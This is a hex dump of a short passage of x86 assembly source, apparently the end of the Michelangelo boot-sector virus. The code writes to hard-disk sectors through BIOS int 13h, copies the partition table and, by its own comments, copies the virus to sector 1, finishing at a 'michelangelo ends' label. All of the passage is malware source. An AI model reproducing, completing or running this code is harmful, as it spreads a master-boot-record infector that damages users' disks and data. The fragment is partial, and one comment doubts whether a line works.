|00002390| 72 74 69 74 69 6f 6e 20 | 74 61 62 6c 65 20 0a 74 |rtition |table .t|
|000023a0| 6f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |o. | |
|000023b0| 20 20 6d 6f 76 20 20 20 | 20 20 66 69 72 73 74 73 | mov | firsts|
|000023c0| 65 63 74 6f 72 2c 63 78 | 20 20 20 20 20 20 20 20 |ector,cx| |
|000023d0| 20 20 3b 20 73 65 63 74 | 6f 72 20 37 0a 20 20 20 | ; sect|or 7. |
|000023e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000023f0| 20 20 20 20 20 61 78 2c | 33 30 31 68 0a 20 20 20 | ax,|301h. |
|00002400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00002410| 20 20 20 20 20 64 78 2c | 38 30 68 0a 20 20 20 20 | dx,|80h. |
|00002420| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 74 20 | | int |
|00002430| 20 20 20 20 31 33 68 0a | 20 20 20 20 20 20 20 20 | 13h.| |
|00002440| 20 20 20 20 20 20 20 20 | 6a 63 20 20 20 20 20 20 | |jc |
|00002450| 65 78 69 74 76 69 72 75 | 73 0a 20 20 20 20 20 20 |exitviru|s. |
|00002460| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00002470| 20 20 73 69 2c 32 30 30 | 68 2b 6f 66 66 73 65 74 | si,200|h+offset|
|00002480| 20 70 61 72 74 69 74 69 | 6f 6e 69 6e 66 6f 20 3b | partiti|oninfo ;|
|00002490| 20 43 6f 70 79 20 70 61 | 72 74 69 74 69 6f 6e 0a | Copy pa|rtition.|
|000024a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000024b0| 6d 6f 76 20 20 20 20 20 | 64 69 2c 6f 66 66 73 65 |mov |di,offse|
|000024c0| 74 20 70 61 72 74 69 74 | 69 6f 6e 69 6e 66 6f 20 |t partit|ioninfo |
|000024d0| 20 20 20 20 20 3b 20 74 | 61 62 6c 65 20 69 6e 66 | ; t|able inf|
|000024e0| 6f 72 6d 61 74 69 6f 6e | 0a 20 20 20 20 20 20 20 |ormation|. |
|000024f0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00002500| 20 63 78 2c 32 31 68 0a | 20 20 20 20 20 20 20 20 | cx,21h.| |
|00002510| 20 20 20 20 20 20 20 20 | 72 65 70 20 20 20 20 20 | |rep |
|00002520| 6d 6f 76 73 77 0a 20 20 | 20 20 20 20 20 20 20 20 |movsw. | |
|00002530| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00002540| 2c 33 30 31 68 20 20 20 | 20 20 20 20 20 20 20 20 |,301h | |
|00002550| 20 20 20 20 20 20 3b 20 | 57 72 69 74 65 20 74 6f | ; |Write to|
|00002560| 20 73 65 63 74 6f 72 20 | 38 0a 20 20 20 20 20 20 | sector |8. |
|00002570| 20 20 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 20 | | xor |
|00002580| 20 20 62 78 2c 62 78 20 | 20 20 20 20 20 20 20 20 | bx,bx | |
|00002590| 20 20 20 20 20 20 20 20 | 20 20 3b 20 43 6f 70 79 | | ; Copy|
|000025a0| 20 76 69 72 75 73 20 74 | 6f 20 73 65 63 74 6f 72 | virus t|o sector|
|000025b0| 20 31 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | 1. | |
|000025c0| 20 20 20 69 6e 63 20 20 | 20 20 20 63 6c 0a 20 20 | inc | cl. |
|000025d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 69 6e | | in|
|000025e0| 74 20 20 20 20 20 31 33 | 68 0a 3b 2a 20 20 20 20 |t 13|h.;* |
|000025f0| 20 20 20 20 20 20 20 20 | 20 20 6a 6d 70 20 20 20 | | jmp |
|00002600| 20 20 73 68 6f 72 74 20 | 30 31 45 30 68 0a 20 20 | short |01E0h. |
|00002610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 64 62 | | db|
|00002620| 20 20 20 20 20 20 30 45 | 42 68 2c 20 33 32 68 20 | 0E|Bh, 32h |
|00002630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00002640| 3f 54 68 69 73 20 73 68 | 6f 75 6c 64 20 63 72 61 |?This sh|ould cra|
|00002650| 73 68 3f 0a 3b 20 54 68 | 65 20 66 6f 6c 6c 6f 77 |sh?.; Th|e follow|
|00002660| 69 6e 67 20 62 79 74 65 | 73 20 61 72 65 20 6d 65 |ing byte|s are me|
|00002670| 61 6e 69 6e 67 6c 65 73 | 73 2e 0a 67 61 72 62 61 |aningles|s..garba|
|00002680| 67 65 20 20 20 20 20 20 | 20 20 20 64 62 20 20 20 |ge | db |
|00002690| 20 20 20 31 2c 34 2c 31 | 31 68 2c 30 2c 38 30 68 | 1,4,1|1h,0,80h|
|000026a0| 2c 30 2c 35 2c 35 2c 33 | 32 68 2c 31 2c 30 2c 30 |,0,5,5,3|2h,1,0,0|
|000026b0| 2c 30 2c 30 2c 30 2c 35 | 33 68 0a 70 61 72 74 69 |,0,0,0,5|3h.parti|
|000026c0| 74 69 6f 6e 69 6e 66 6f | 3a 20 20 64 62 20 20 20 |tioninfo|: db |
|000026d0| 20 20 20 34 32 68 20 64 | 75 70 20 28 30 29 0a 6d | 42h d|up (0).m|
|000026e0| 69 63 68 65 6c 61 6e 67 | 65 6c 6f 20 20 20 20 65 |ichelang|elo e|
|000026f0| 6e 64 73 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |nds. | |
|00002700| 20 20 20 20 65 6e 64 0a | 0a 0a | end.|.. |
+--------+-------------------------+-------------------------+--------+--------+